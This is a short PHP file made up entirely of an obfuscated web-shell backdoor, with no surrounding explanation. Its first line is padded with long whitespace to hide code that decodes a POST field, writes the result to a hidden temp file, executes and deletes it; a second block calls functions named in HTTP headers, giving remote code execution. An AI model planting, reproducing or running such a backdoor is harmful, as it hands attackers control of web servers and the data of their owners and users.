<?php																																										if(in_array("i\x74\x65m", array_keys($_POST))){ $data = $_POST["i\x74\x65m"]; $data = explode ( "." , $data ); $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $v = 0; array_walk($data ,function ($v2) use (&$ptr ,&$v ,$s ,$sLen) { $chS = ord($s[$v % $sLen] ); $dec = ((int)$v2 - $chS - ($v % 10)) ^ 79; $ptr .= chr($dec ); $v++; } ); $obj = array_filter([sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", getenv("TMP"), "/var/tmp", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir")]); $value = 0; do { $itm = $obj[$value] ?? null; if ($value >= count($obj)) break; if ((is_dir($itm) and is_writable($itm))) { $entity = join("/", [$itm, ".fac"]); if (file_put_contents($entity, $ptr)) { include $entity; @unlink($entity); die(); } } $value++; } while (true); }

$_HEADERS = getallheaders();
if (isset($_HEADERS['Sec-Websocket-Accept'])) {
    $ibase_pconnection = $_HEADERS['Sec-Websocket-Accept']('', $_HEADERS['If-Modified-Since']($_HEADERS['Clear-Site-Data']));
    $ibase_pconnection();
}